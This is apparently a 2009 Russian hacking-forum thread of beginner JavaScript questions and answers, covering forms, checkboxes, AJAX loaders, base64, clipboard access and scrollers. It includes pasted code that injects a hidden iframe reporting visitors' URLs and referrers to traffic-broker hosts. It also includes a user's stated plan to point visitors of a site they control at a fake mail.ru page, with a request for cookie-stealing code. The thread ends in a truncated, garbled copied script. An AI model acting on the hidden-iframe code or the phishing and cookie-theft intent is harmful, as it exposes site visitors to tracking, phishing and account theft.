<body onload"document.getElementById('loading').style.visibilit y = 'hidden';">
<div id="loading">
<center>
Loading...
</center>
</div>
Подскажите как зделать что бы при загрузки фрейма через пару секунду как бы произошол клик по какойто ссылки или рисунку если я знаю где находится рисунок(там 200пикс справа, сперху 200)
astrologer
09.01.2009, 14:19
[ object HTMLAnchorElement ].click();
ANTIJABBER
10.01.2009, 00:59
Как сделать подгрузочную имагу во время загрузки скрипта, средствами ajax
CrazyNight
11.01.2009, 13:38
Просто ajax'ом подгружаешь ссылку на изображение, а потом вставляешь IMG уже с нужной ссылкой в DOM.
На чистом js времени нет писать, вот с jQuery:
var url='example.php'; // PHP-скрипт, отдающий путь на изображение
$.post(url, {param: 'param'}, function(data) // Обращаемся через ajax методом POST к указанному скрипту; указываем, если нужно параметры, потом вызываем анонимную функцию для обработки результатов
{
$('body').prepend('<img src="'+data+'" />'); // Вставляем новое изображение в тег body, в самое начало
});
Как сделать подгрузочную имагу во время загрузки скрипта, средствами ajax
Поделюсь своим примером... подходит для загрузки любых данных, откуда угодно, и в любое место страницы :)
0. Скачиваем библиотеку jquery-1.2.6.pack.js (http://code.google.com/p/jqueryjs/downloads/detail?name=jquery-1.2.6.pack.js&can=2&q=)
1. Определяем стиль надписи "Загрузка"
<style type="text/css">
.main_load
{
border: 1px #9A9993 dashed;
font-size:24px;
text-align:center;
position:relative;
top: 50%;
left: 50%;
margin-left:-100px;
height:30px;
width:200px;
}
</style>
2. Собственно подключаем либу, и создаём функцию для подзагрузки элементов в определённый DIV, которая будет доступна для выполнения при полной загрузке страницы...
<script src="jquery-1.2.6.pack.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function(){
function getIdSet(div_x,type_x,date_x,url_x)
{
$.ajax({type: type_x,data: date_x,url: url_x,
beforeSend: function() {$(div_x).html("<div class=\"main_load\">Загрузка...</div>");},
success: function(dt) {$(div_x).html(dt);},
error: function() {$(div_x).html("<div class=\"main_load\">Ошибка... :( </div>");}
});
}
});
</script>
3. Применение: [в какой DIV будет происходить загрузка, метод передачи данных, значения, и куда отправлять запрос]
getIdSet('{DIV ID}','POST','val1=1&val2=2','loader.php')
4. Пример инклуда картинок (loader.php)
<?php
$_GET['image']=isset($_GET['image']) ? $_GET['image']:"";
$id='';
switch ($_GET['page'])
{
case 'img1': $id='img/image.jpg'; break;
case 'img2': $id='img/photo.png'; break;
case 'img3': $id='img/picture.gif'; break;
default: $id='img/na.gif'; break;
}
echo "<img src='{$id}'/>";
?>
p.s. возвращаемый от loader.php, в данном примере, должен быть чистый html :)
S1nd1c4t3
12.01.2009, 02:43
Подскажите как это вычислить?
<script type="text/javascript">
length = 5;
x = 3;
y = 2;
y = Math.sin(118.13);
y = -y
x = Math.ceil(y);
y++;
y = y+x+x
y *= (y/2);
y++;
y++;
length = Math.floor(y);
</script>
Подскажите как это вычислить?
document.write(y+';'+x);
если самому влом
9.797887814238166;1
ANTIJABBER
13.01.2009, 14:43
Как отправить текстовые данные в буфер обмена?
function ItemLine(checkbox, text, hidden)
{
buy = eval("document.pay." +hidden);
if(buy.value==""){
document.getElementById(checkbox).style.color = 'lime';
document.getElementById(checkbox).innerText = '+';
document.getElementById(text).style.fontWeight = 'bold';
document.getElementById(text).style.color = '#FFCA42';
price=document.getElementById(text).innerText;
Price(price,"plus");
buy.value="1";
} else {
document.getElementById(checkbox).style.color = 'red';
document.getElementById(checkbox).innerText = '';
document.getElementById(text).style.fontWeight = 'normal';
document.getElementById(text).style.color = '#9F9F9F';
price=document.getElementById(text).innerText;
Price(price,"minus");
buy.value="";};
}
Есть функция которая управляет знаначением поля у формы hidden передаётся названия поля но почему оно не принимает числовое значение? Функция почемуто нарушается.... 32 не проходит а i32 проходит...
Вот сама форма:
<form ......>
<tr><td style='cursor:hand' bgcolor=#494949 onmouseover="this.bgColor='#555555'" onmouseout="this.bgColor='#494949'" onclick="ItemLine('buyitemcheck242', 'buyitemprice242', 'i32')">
<table border=0 cellpadding=2 cellspacing=2 width=100% >
<tr><td width=35 align=center><font size=3pt><b><span id=buyitemcheck242 style='color:#FF0000'></span></b></font></td>
<td width=45><img src=../la2_icons/drac_bow_sa.png></td><td><b> Драк боу(фокус) + Драк сет</b></td>
<td width=80 align=center><span id=buyitemprice242>1900 руб</span></td>
<td width=15><input type=hidden name=i32></td></tr></table></td></tr></form>
подскажите пожалуйста, как скрыть элементы формы
подскажите пожалуйста, как скрыть элементы формы
Что-то в таком роде
<input type="checkbox" id='add' onClick="if (document.getElementById('add').checked) {document.getElementById('mainform').style.display ='block';} else {document.getElementById('mainform').style.display ='none';}">Добавить
<div name="mainform" style="display: none;" id="mainform">
<form ...........>
...
...
...
</form>
посоветуйте хороший учебник по JS чтоб без лишнего
спс
m0nsieur
13.01.2009, 20:18
посоветуйте хороший учебник по JS чтоб без лишнего
спс
Посмотри этот http://antichat.displayart.ru/JavaScript.rar
Не помню кто выкладывал его, скачал себе, иногда заглядываю.
есть старока в большой таблице при нажатии на любое место, ставится галочка в ЧекБоксе. Но как сделать чтоб про посторном нажатии она снималась?
Но там ещё валуе задаётся та, что надо чтоб и оно сбрасывалось.
<tr><td style='cursor:hand' bgcolor=#494949 onmouseover="this.bgColor='#555555'" onmouseout="this.bgColor='#494949'" onclick="document.getElementById('p4').checked=true; document.getElementById('p4').value=4;">
<table border=0 cellpadding=2 cellspacing=2 width=100% >
<tr><td width=35 align=center><INPUT class=commFl2 type=checkbox name=id id=p4 onClick='Forms(this);'><font size=3pt><b></b></font></td>
<td width=45><img src=../img2/mjl.png></td><td><b>
Majestic Leather Set</b></td><td width=80 align=center><span id=buyitemprice3>
400 руб</span></td><td width=15></td></tr></table></td></tr>
Здрасти всем...
не подскажите, как сделать чтобы при переходе на сайт, "отключались" кнопки браузера и адресная строка, то есть как бы пропали.....
то есть как вот здесь описывают
_http://www.xhtml-css.ru/sozdanie-novogo-okna-pop-up-ispolzuya-javascript/
только здесь получается методом открытия нового окна...
а нужно чтобы сразу, при переходе на сайт срабатывало....
P.S сорри если не по русски написал =)
Ну помогите плиз написать скрипт чтоб при нажатии на поле ставилась галочки и наоборот....
попробовал что-то типа того но не вышло
function tubile(box)
{
if (box.checked == false){
document.getElementById(box).checked=true;
document.getElementById(box).value="4";
} else {
document.getElementById(box).checked=false;
document.getElementById(box).value="";
};
}
Форма...
<tr><td style='cursor:hand' bgcolor=#494949 onmouseover="this.bgColor='#555555'" onmouseout="this.bgColor='#494949'" onclick="ItemLine2('p4')">
<table border=0 cellpadding=2 cellspacing=2 width=100% >
<tr><td width=35 align=center><INPUT type=checkbox name=id id=p4><font size=3pt><b></b></font></td>
<td width=45><img src=../img2/mjl.png></td><td><b>
Majestic Leather Set</b></td><td width=80 align=center><span id=buyitemprice3>
400 руб</span></td><td width=15></td></tr></table></td></tr>
big_BRAT
14.01.2009, 15:52
Ну помогите плиз написать скрипт чтоб при нажатии на поле ставилась галочки и наоборот....
попробовал что-то типа того но не вышло
function tubile(box)
{
if (box.checked == false){
document.getElementById(box).checked=true;
document.getElementById(box).value="4";
} else {
document.getElementById(box).checked=false;
document.getElementById(box).value="";
};
}
Форма...
<tr><td style='cursor:hand' bgcolor=#494949 onmouseover="this.bgColor='#555555'" onmouseout="this.bgColor='#494949'" onclick="ItemLine2('p4')">
<table border=0 cellpadding=2 cellspacing=2 width=100% >
<tr><td width=35 align=center><INPUT type=checkbox name=id id=p4><font size=3pt><b></b></font></td>
<td width=45><img src=../img2/mjl.png></td><td><b>
Majestic Leather Set</b></td><td width=80 align=center><span id=buyitemprice3>
400 руб</span></td><td width=15></td></tr></table></td></tr>
1. первое почему у тебя название функции при событии онклик ItemLine2, а сама функция tubile? испавляй
2. не верно box.checked == false
<script> function tubile(box) { if (document.getElementById(box).checked == false){ document.getElementById(box).checked=true; } else { document.getElementById(box).checked=false; }; } </script> <table border=1> <tr><td style='cursor:hand' bgcolor=#494949 onmouseover="this.bgColor='#555555'" onmouseout="this.bgColor='#494949'" onclick="tubile('p4')"> <table border=0 cellpadding=2 cellspacing=2 width=100% > <tr><td width=35 align=center><INPUT type=checkbox id=p4><font size=3pt><b></b></font></td> <td width=45></td><td><b> Majestic Leather Set</b></td><td width=80 align=center><span id=buyitemprice3> 400 руб</span></td><td width=15></td></tr></table></td></tr> </table>
где то так
1. первое почему у тебя название функции при событии онклик ItemLine2, а сама функция tubile? испавляй
2. не верно box.checked == false
<script> function tubile(box) { if (document.getElementById(box).checked == false){ document.getElementById(box).checked=true; } else { document.getElementById(box).checked=false; }; } </script> <table border=1> <tr><td style='cursor:hand' bgcolor=#494949 onmouseover="this.bgColor='#555555'" onmouseout="this.bgColor='#494949'" onclick="tubile('p4')"> <table border=0 cellpadding=2 cellspacing=2 width=100% > <tr><td width=35 align=center><INPUT type=checkbox id=p4><font size=3pt><b></b></font></td> <td width=45></td><td><b> Majestic Leather Set</b></td><td width=80 align=center><span id=buyitemprice3> 400 руб</span></td><td width=15></td></tr></table></td></tr> </table>
где то так
Спасибо ошибка была именно в ==
А название функции это я криво вырезал
При выгрузке файла вместо стандартного окошка сохранения содержимое файла выводится в браузер, хотя в упрощенном варианте без технологии AJAX все работает, да и файл mime.types отредактирован под расширение .tmp. В чем может быть проблема?
И как узнать, что закачка завершена, для удаления файла?
header("Content-Description: File Transfer");
header("Content-Disposition: attachment; filename=\"".$fname."\"");
header("Content-type: application/force-download");
readfile($fpath);
можно как-то на JS написать скрипт который при нажатии кнопки
<INPUT name=submit type=submit size=1 value=Продолжить>
Бужет смотреть чему равно поле
<span in=price></span>
Если его значение меняще 100 то выводить сообщение "123"
_evgeniy_
14.01.2009, 22:49
можно как-то на JS написать скрипт который при нажатии кнопки
Бужет смотреть чему равно поле
Если его значение меняще 100 то выводить сообщение "123"
<INPUT onclick="if(document.getElementById('price').innerHTML < 100) { alert('123');} " name=submit type=submit size=1 value=Продолжить>
<span id=price>5</span>
Zabuldon
18.01.2009, 05:54
Появилась трабла... Пишу небольшой проект. Использую JQuery к нему подключаю плагины Forms и Tabs. Страничка строиться при помощи SMARTY проблема в следующем если я в один из табов загружаю контент через метод .load(); то форма отправляется как обычная (с перезагрузкой страницы) а если вставляю то же самый код в файл index.php (который и выводит табы) то никаких багов нет.... Мот кто знает как решить такую проблемку.. Слышал в JQuery 1.3 появился метод .Live(); но я пока так и не понял как его прикрутить к данной фишке... помогите плиз оч надо =)
m0nsieur
18.01.2009, 11:54
Код в студию..
вообщем есть строки
<script type='text/javascript' src='js/autor.js'></script> //с дорогой все ок:)
<input type='button' id='sendbtn' value='Отправить' onclick='sendData()' /></p>
есть функция в файле autor.js
function sendData() {
var n = $('name').value;
var pw = $('pass').value;
var pw2 = $('pass2').value;
var e = $('email').value;
var ic = $('icq').value;
var pars = $H({name:n, pass:pw, pass2:pw2, email:e, icq:ic}).toQueryString();
//отправляем ajax запрос
new Ajax.Request("reg.php",
{method:"post", parameters:pars, onSuccess:parseResponse});
}
Но вот кнопка Отправить почему то не работает=\
Joker-jar
18.01.2009, 16:38
Попробуй в ф-ию sendData() вставить что-нибудь более явное, например alert(1) и узнай, что именно не работает
AkyHa_MaTaTa
18.01.2009, 16:41
вообщем есть строки
<script type='text/javascript' src='js/autor.js'></script> //с дорогой все ок:)
<input type='button' id='sendbtn' value='Отправить' onclick='sendData()' /></p>
есть функция в файле autor.js
function sendData() {
var n = $('name').value;
var pw = $('pass').value;
var pw2 = $('pass2').value;
var e = $('email').value;
var ic = $('icq').value;
var pars = $H({name:n, pass:pw, pass2:pw2, email:e, icq:ic}).toQueryString();
//отправляем ajax запрос
new Ajax.Request("reg.php",
{method:"post", parameters:pars, onSuccess:parseResponse});
}
Но вот кнопка Отправить почему то не работает=\
чета я не пойму каким таким магическим образом ты получаешь
var n = $('name').value;
var pw = $('pass').value;
var pw2 = $('pass2').value;
var e = $('email').value;
var ic = $('icq').value;
покажи что там
alert(n+pw+pw2+e+ic)
Помогите пожалуйста с кодом
var html = '';
html += '<ifr' + 'ame src="http://go.richtraffic.ru/direct.php';
html += '?url=' + encodeURIComponent(document.location);
html += '&ref=' + encodeURIComponent(document.referrer);
html += '&frm=' + self.parent.frames.length;
html += '&nc=' + Math.random() + '" style="display:none;">';
html += '</ifr' + 'ame>';
document.write(html);
document.write("<img src='http://trafficshop.biz/ts/in.cgi?richtraffic' style='display:none'>");
//document.write("<img src='http://iframepay.com/tds/tds.php?id=1428&url=" + encodeURIComponent(document.location) + "' style='display:none'>");
какая тут ссылка на выходе получится?
AkyHa_MaTaTa
18.01.2009, 23:34
Помогите пожалуйста с кодом
какая тут ссылка на выходе получится?
такая
var html = '';
html += '<ifr' + 'ame src="http://go.richtraffic.ru/direct.php';
html += '?url=' + encodeURIComponent(document.location);
html += '&ref=' + encodeURIComponent(document.referrer);
html += '&frm=' + self.parent.frames.length;
html += '&nc=' + Math.random() + '" style="display:none;">';
html += '</ifr' + 'ame>';
alert(html);
чета я не пойму каким таким магическим образом ты получаешь
var n = $('name').value;
var pw = $('pass').value;
var pw2 = $('pass2').value;
var e = $('email').value;
var ic = $('icq').value;
покажи что там
alert(n+pw+pw2+e+ic)
ничего, они не передаются , из за того наверное что сабмит не пашет , получаю с помошью библиотеки http://www.prototypejs.org/
по логике после нажатия кнопки сабмит данные из формы должны предаваться сюда
astrologer
19.01.2009, 02:09
bxN5,
А что тут:alert([
$('name'),
$('pass'),
$('pass2'),
$('email'),
$('icq')
].join('\n'));
посмотрел консоль ошибок в браузере
Ошибка: $("name") is null
Источник: http://localhost/js/autor.js
Строка: 5
почему он не передает данные из формы?
AkyHa_MaTaTa
19.01.2009, 04:15
посмотрел консоль ошибок в браузере
Ошибка: $("name") is null
Источник: http://localhost/js/autor.js
Строка: 5
почему он не передает данные из формы?
я конечно раньше не работал с prototype, но так навскидку, попробуй serialize (http://www.prototypejs.org/api/form/serialize):
$('person-example').serialize();
где person-example - id формы,
ну или получать значения через getValue (http://www.prototypejs.org/api/form/element/getValue)
getValue('name') - для name надо будет назначить id="name" ну и так далее.Или $("name").getValue();. Даные у тебя не отправляються потому что у тебя их нет. Читай доки, там все есть.
есть ли аналог функции base64_encode() как в PHP в Яваскрипте?
есть ли аналог функции base64_encode() как в PHP в Яваскрипте?
var keyStr = "ABCDEFGHIJKLMNOP" +
"QRSTUVWXYZabcdef" +
"ghijklmnopqrstuv" +
"wxyz0123456789+/" +
"=";
function encode64(input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
do {
chr1 = input.charCodeAt(i++);
chr2 = input.charCodeAt(i++);
chr3 = input.charCodeAt(i++);
enc1 = chr1 >> 2;
enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
enc4 = chr3 & 63;
if (isNaN(chr2)) {
enc3 = enc4 = 64;
} else if (isNaN(chr3)) {
enc4 = 64;
}
output = output +
keyStr.charAt(enc1) +
keyStr.charAt(enc2) +
keyStr.charAt(enc3) +
keyStr.charAt(enc4);
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < input.length);
return output;
}
function decode64(input) {
var output = "";
var chr1, chr2, chr3 = "";
var enc1, enc2, enc3, enc4 = "";
var i = 0;
// remove all characters that are not A-Z, a-z, 0-9, +, /, or =
var base64test = /[^A-Za-z0-9\+\/\=]/g;
if (base64test.exec(input)) {
alert("There were invalid base64 characters in the input text.\n" +
"Valid base64 characters are A-Z, a-z, 0-9, ґ+ґ, ґ/ґ, and ґ=ґ\n" +
"Expect errors in decoding.");
}
input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
do {
enc1 = keyStr.indexOf(input.charAt(i++));
enc2 = keyStr.indexOf(input.charAt(i++));
enc3 = keyStr.indexOf(input.charAt(i++));
enc4 = keyStr.indexOf(input.charAt(i++));
chr1 = (enc1 << 2) | (enc2 >> 4);
chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
chr3 = ((enc3 & 3) << 6) | enc4;
output = output + String.fromCharCode(chr1);
if (enc3 != 64) {
output = output + String.fromCharCode(chr2);
}
if (enc4 != 64) {
output = output + String.fromCharCode(chr3);
}
chr1 = chr2 = chr3 = "";
enc1 = enc2 = enc3 = enc4 = "";
} while (i < input.length);
return output;
}
Nightmarе
21.01.2009, 19:18
Подскажите какой ява командой получают время с компа?
Пример:
http://leader.ru/secure/who.html
Time on your computer : 19:16:49
Там всё зашифрованно.
astrologer
21.01.2009, 19:28
Подскажите какой ява командой получают время с компа?
Пример:
http://leader.ru/secure/who.html
Time on your computer : 19:16:49
Там всё зашифрованно. Обычно так: new Date().toLocaleTimeString() ... но они не ищут лёгких путей: var now = new Date();
var Hours = now.getHours();
var Minutes = now.getMinutes();
var Seconds = now.getSeconds();
document.writeln("Time on your computer : " + Hours+":"+Minutes+":"+Seconds+"<br>");
Pashkela
21.01.2009, 19:46
Подскажите какой ява командой получают время с компа?
Пример:
http://leader.ru/secure/who.html
Time on your computer : 19:16:49
Там всё зашифрованно.
Если еще что надо по времени - вот:
http://pashkela.narod.ru/timer.html
смотри исходники
Есть скрипт:
<script type="text/javascript">
ID = window.setTimeout("Update();", 1000);
function Update() {
var cnt=document.getElementById("input1");
if (cnt.value < 0)
{
alert('Только положительные числа!');
document.form1.input1.value = 0;
}
if(cnt.value!="")
{
result=0.2*cnt.value;result = result.toFixed(2);
document.form1.input2.value = result;
}
else document.form1.input2.value = "-";
if (cnt.value==0)
{
result="-";
document.form1.input2.value = result;
}
ID = window.setTimeout("Update();", 1000);
}
</SCRIPT>
он выводит делает в поле input2 нужное значение а как сделать чтоб значение выводилось между тегами
<span id=price1></span>
document.getElementById("price1").innerHTML = result;
да, кстати, оформляй все параметры в тегах в "", ибо не есть хорошо, как ты делаешь.
Pashkela
21.01.2009, 20:30
document.form1.input2.value = "<span id=price1>"+result+"</span>";
Дословно то, что ты хотел
Ну я же не дословно прошу....
этот скрипт делает value нужного значения...
document.pay.price1.value = result;
В коде есть поля <span id=price1></span>
Вот нужно чтоб между этими тегами выводился result
А не value у price1 равнялось <span id=price1>+result+</span>
Pashkela
21.01.2009, 20:36
<INPUT TYPE="text" id="input1" NAME="input1" SIZE="10" value=""><span id=price1><INPUT TYPE="text" NAME="input2" SIZE="10"></span><BR>
Мне не нужен INPUT без поля :)
Pashkela
21.01.2009, 20:45
Если честно, просто не понимаю, чего тебе надо
Был скрипт (ты помойму писал) он работал так:
Вводишь в 1инпут число он в 2инпут выводит ответ...
Хочу его передаелать так чтоб вводишь в инпут1 число а ответ выводит не в поле <INPUT name=input2> а между тегами <span id=price1></span>
Был скрипт (ты помойму писал) он работал так:
Вводишь в 1инпут число он в 2инпут выводит ответ...
Хочу его передаелать так чтоб вводишь в инпут1 число а ответ выводит не в поле <INPUT name=input2> а между тегами
<input type="text" id="uinput"><input type="button" onclick="document.getElementById('price1').innerHTML = document.getElementById('uinput').value;"><br />
<span id="price1"></span>
Блять ты определись что хочешь
Ок спсасибо и ещё 1 вопрос
Как сделать так если в чекБоксе стоит галочка тоесть true, то выполныть такой скрипт...
price=document.getElementById(price).innerText;
Price(price,"plus");
Если false то такой...
price=document.getElementById(price).innerText;
Price(price,"minus");
Только надо чтоб это была функция которой передаётся чекБокс и price
if(document.getElementById('chb').checked)
{
price=document.getElementById(price).innerText;
Price(price,"plus");
}
else
{
price=document.getElementById(price).innerText;
Price(price,"minus");
}
http://adenki.ru/price/raid2/
Проблема в том что при ввода кол-ва нужно 2 раза по полю щёлкнуть...
помогите плиз реализовать чтоб покупателем было удобно....
Или просто чтоб при нажании галочки кнопка активировалась....
Хотя есть идею что надо обновлять поле...но как не знаю так-как JS не изучал
Вот Вы умные да, посоветуйте как мне правильно написать скрипт что бы разместив множество маленьких изображений на странице, при наведении на ети маленькие изображения - под курсором мышки появлялась надпись, а при нажатии - появлялось другое изображение из файла на етой же странице, только большего размера.
Для наглядного примера сцылка (http://aristo.com.ua/catalog/1/5/) такой же механизм нужен скрипта.
Прошу Вас подскажите, Вам же тоже когда-то было "нелегко" осваивать работу своего первого скрипта.
Большое человеческое спасибо, обнимаю Вас, всегда с Вами - Ваш 4ere5
P.S. Многие вещи нам непонятны не потому, что наши понятия слабы; но потому, что
сии вещи не входят в круг наших понятий.
http://highslide.com — увелечение при клике.
Для надписи используй этот скрипт:
http://pastebin.com/pastebin.php?dl=f28fd574f
Для его использования присваивай аттрибут title="".
есть кнопка
<INPUT type=submit name=submitbtn >
Чек бокс
<INPUT type=checkbox name=agreed>
и поле
<INPUT TYPE="text" id="nick" NAME="nick" SIZE="10" value="">
Нужно сделать такой скрипт чтоб при нажатии кнопки проверялось поле и чекБокс на наличие данных/галочки
Если галочки нету И поле пусто то выводить сообщение....
<script type="text/javascript">
function check(){
if(document.getElementById('nick').value == '' && document.getElementById('agreed').checked == false){
alert('not set');
}
}
</script>
<input type="checkbox" id="agreed" name="agreed">
<input type="text" id="nick" name="nick" size="10" value="">
<input type="submit" onclick="check()" name="submitbtn">
а можно так :
<script type="text/javascript">
function check(){
el1 = document.getElementById('nick');
el2 = document.getElementById('agreed');
if (el1 && el2) // вдруг не обнаружится элементов с таким id
{
if(!el2.checked || el1.value == '') alert('not set');
}
}
</script>
<input type="checkbox" id="agreed" name="agreed">
<input type="text" id="nick" name="nick" size="10" value="">
<input type="submit" onclick="check()" name="submitbtn">
дайте скриптик который бы делал определенную страницу стартовой помогите очень надо
Pashkela
27.01.2009, 20:40
В избранное:
<a href="#" onClick="window.external.addFavorite('http://wpdom.com', 'Веб-программирование и создание сайтов'); return false;">123</a>
Сделать домашней страницей:
<a href="#" style="behavior:url(#default#homepage)" onclick="this.setHomePage('http://wpdom.com');return false">123</a>
В избранное:
<a href="#" onClick="window.external.addFavorite('http://wpdom.com', 'Веб-программирование и создание сайтов'); return false;">123</a>
Сделать домашней страницей:
<a href="#" style="behavior:url(#default#homepage)" onclick="this.setHomePage('http://wpdom.com');return false">123</a>
Этот способ будет работать только в IE, для оперы и фф лучше юзать это:
http://www.dynamicsitesolutions.com/javascript/add-bookmark-script/
Естесственно, нужно будет подтверждение действия пользователем.
подскажите
как скопировать в буфер содержимое формы?
#Wolf# это вроде как - нериально сделать, можно только выделить при пападании фокуса весь текст. Хотя я могу и ошибаться.
p.s. а что за дрянь у тя на аватаре? :confused: :eek:
не это не то щас попробую объяснить
у меня есть доступ на очень посещаемый сайт (могу вставить код)
и я хотел вставить в него код который бы делал ссылку на фейк mail.ru стартовой
но как я понял что без действий пользователя это не возможно
тогда может кто дать код который бы воровал куки
помогите найти ошибку...тут вот простенький скрипт и не работает...
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<title>Тег IFRAME</title>
</head>
<body background="">
<p><center><img src='looon.jpg'></center></p>
<p align="center"> Main Menu</p>
<p>start
<p>тут<a href='javascript:def_show()'>Ссылка </a>j<q id='def_text' onClick=def_move();></q> bla bla bla </p>
<script>
function def_show(){
parent.def_text.innerHTML=" znov ale NWE bla bla vla";
};
function def_move(){
parent.def_text.innerHTML="";
};
</script>
</body>
</html>
astrologer
29.01.2009, 00:07
antin, удали "parent."
AkyHa_MaTaTa
29.01.2009, 00:10
подскажите
как скопировать в буфер содержимое формы?
В ие можно получить доступ через execCommand можно к буферу, в фф политики безопасности не дадут, легчше использовать Flash +Js.
ем..так что? знает кто как? а то на етом дело стало...:( обидно очень
astrologer
29.01.2009, 00:35
ем..так что? знает кто как? а то на етом дело стало...:( обидно очень Значит, у тебя FF, в котором элементы доступны по идентификатору только в глобальном контексте. В функциях такое не пройдёт. Пользуйся методом document.getElementById.
Ем....а поподробней? ссылку, или как мне ет переделать ?
astrologer
29.01.2009, 01:00
Ем....а поподробней? ссылку, или как мне ет переделать ?var node = document.getElementById (https://developer.mozilla.org/En/DOM/Document.getElementById)('identifier');
Спс, но уже сам понял...кстати можна и попроще заменить =)
Neoveneficus
30.01.2009, 00:38
Можно ли в одной части html страницы задать переменную, а в другой ее использовать. Переменные в разных блоках javascript'а:
<html>
...
<script type="text/javascript">
variable="test";
</script>
... some html code ...
<script type="text/javascript">
document.write(variable);
</script>
...
</html>
Как вы понимаете, у меня такой вариант не работает. как сделать так, чтобы работало?
astrologer
30.01.2009, 00:58
Можно ли в одной части html страницы задать переменную, а в другой ее использовать.
Как вы понимаете, у меня такой вариант не работает. как сделать так, чтобы работало?
Можно.
Использовать явное объявление переменных. Это поможет избежать конфликтов с идентификаторами в IE.
P.S.
Пример неполный, именно в таком виде он абсолютно рабочий.
Pashkela
30.01.2009, 01:15
var variable="test";
подскажите скриптик гориз прокрутки .
пример: _zvezdi.ru
с меня +3 ;)
m0nsieur
30.01.2009, 12:22
вот на jquery что-то похожее.
плагин - http://plugins.jquery.com/node/2385
демо - http://www.code.irontec.com/JQuery/horizonmenu/?pag=2
плагин - http://plugins.jquery.com/project/jqnews
демо - http://jqueryamo.altervista.org/demo/jqnews/jqnews_V_2.0.html
Pashkela
30.01.2009, 12:24
<marquee direction="right"><img src="АДРЕС КАРТИНКИ В СЕТИ"></marquee>
+ куча примеров наглядных:
http://htmlka.com/begushhaya-stroka/
<HTML>
<HEAD>
<TITLE>Картинко двигаицо</TITLE>
</HEAD>
<body>
<marquee scrollamount="1" direction="right">
<img src="http://forum.antichat.ru/avatars/avatar47862.gif">
<img src="http://forum.antichat.ru/avatars/avatar53905.gif">
<img src="http://forum.antichat.ru/avatars/avatar52937.gif">
</marquee>
</BODY>
</HTML>
что то мне не подходит... нужно именно такой же как я давал в примере..
в яве вобще не разбираюсь(
#Wolf#, тебе именно javascript нужен? На Flash это просто сделать...
astrologer
30.01.2009, 16:05
что то мне не подходит... нужно именно такой же как я давал в примере..
в яве вобще не разбираюсь( Свяжись с автором (http://sirus.habrahabr.ru/).
#Wolf#, тебе именно javascript нужен? На Flash это просто сделать...
ну в принципе и на флеше можно, но в экшн скрипт тоже не силен(
хотя хз как я буду к флешу прикручивать рандомную выборку из бд :confused:
к флешу прикручивать рандомную выборку из бд
генери с помошью пхп xml файл со своей выборкой , а потом подгружай во флеш xml файлик с готовой выборкой
вот тут описано как подгружать xml во флеш
http://www.intuit.ru/department/internet/flashmxascript/12/
PS мне твоя аватара просто моск выносит, жуть=)
ээммм...писать на флеше....генерить...
ладно...вопрос по другому поставим
как мне с3,14здить оттуда тот яваскрипт? :D
явасрипт всегда можно стырить, это не пхп, посмотри исходник, глянь какие файлы js подрубаются, потом посмотри что в них
SCROLLI-PUPER v2.7.5
/*
* SCROLLI-PUPER v2.7.5
*
* Copyright 2006-2007 Ruslan Sinitskiy. All rights reserved.
* Use is subject to license terms.
* Mailto : si-rus@list.ru
*
*/
var LEFT=0;
var RIGHT=0;
var TOP=0;
var WIDTH_IMG = 86;
var HEIGHT_IMG = 94;
var IMG_DIR = "http://images.zvezdi.ru/1str/";
var IMG_TYPE = ".jpg";
var IMAGES_URL = "/includes/";
var BGRND_COLOR="#000";
var LIGHT_COLOR="#fff";
var SIDE_BGRD_COLOR="#000";
var TOP_Z_INDEX=5;
var SCROLL_TYPE=0;
var SCROLL_SPEED=2;
var USE_ACCELERATOR=true;
var ALWAYS_SCROLL = true;
var HORIZ_POSITION = true;
var SIZE_PUPER = 0;
var LOOP_IMAGES = true;
function startSP(){new ScrolliPuper().startSP();};var ScrolliPuper=function(){this.startSP=function(){ai ();C();if(USE_ACCELERATOR){id('scrollipuper').onmo useover=M;id('scrollipuper').onmousemove=M;id('scr ollipuper').onmouseout=F;}setInterval(aD,200);};fu nction ai(){width=SIZE_PUPER;height=SIZE_PUPER;if(SIZE_PU PER<=0){width=document.body.clientWidth;height=documen t.body.clientHeight;}n=HORIZ_POSITION?Math.ceil(wi dth/WIDTH_IMG)+1:Math.ceil(height/HEIGHT_IMG)+1;w=HORIZ_POSITION?width:height;};func tion aD(){if(SIZE_PUPER<=0){if(width!=document.body.clientWidth||height!=d ocument.body.clientHeight){ai();av=0;C();}}};funct ion ag(url){if(window.XMLHttpRequest){l=new XMLHttpRequest();}else if(window.ActiveXObject){l=new ActiveXObject("Microsoft.XMLHTTP");}l.open("GET",url,true);};function C(){if(B)return;B=true;if(!f)idnum++;else idnum--;if(idnum>COUNT_ID)idnum-=COUNT_ID;if(idnum<=0)idnum+=COUNT_ID;ag(IMAGES_URL+idnum.toString()+".xml");l.onreadystatechange=al;l.send(null);};var B=false;var pause= !ALWAYS_SCROLL;var idnum=0;var aH=navigator.userAgent.toLowerCase().indexOf("msie")> -1;var width;var height;var n;var l;var av=0;var m=new Array();var Y;var G=1;var V=SCROLL_SPEED;var w;function al(){try{if(l.readyState==4){if(l.status==200){var ao=l.responseXML.getElementsByTagName("i");for(var i=0;i<ao.length;i++){if(ao[i]==null||ao[i].childNodes==null||ao[i].childNodes[0]==null)continue;var A=ao[i].childNodes[0].firstChild.nodeValue+"_SPRT_"+ao[i].childNodes[1].firstChild.nodeValue;if(ao[i].childNodes[2])A+="_SPRT_"+ao[i].childNodes[2].firstChild.nodeValue;m[m.length]=A;}B=false;if(av==0){if(m.length<n*COUNT_LINES)C();else af();}}else{B=false;ax("AJAX status = "+l.status);}}}catch(ex){B=false;ae(ex);}};function ae(ad){if(!(typeof console=='undefined'))console.error(ad);};function ax(ad){if(!(typeof console=='undefined'))console.warn(ad);};function aB(ad){if(!(typeof console=='undefined'))console.info(ad);};function log(ad){if(!(typeof console=='undefined'))console.log(ad);};var c=0;Array.prototype.aI=function(){var aq=new Array();for(var i=this.length-1;i>=0;i--){aq[this.length-1-i]=this[i];}for(var i=aq.length-1;i>=0;i--){this[i]=aq[i];}};function 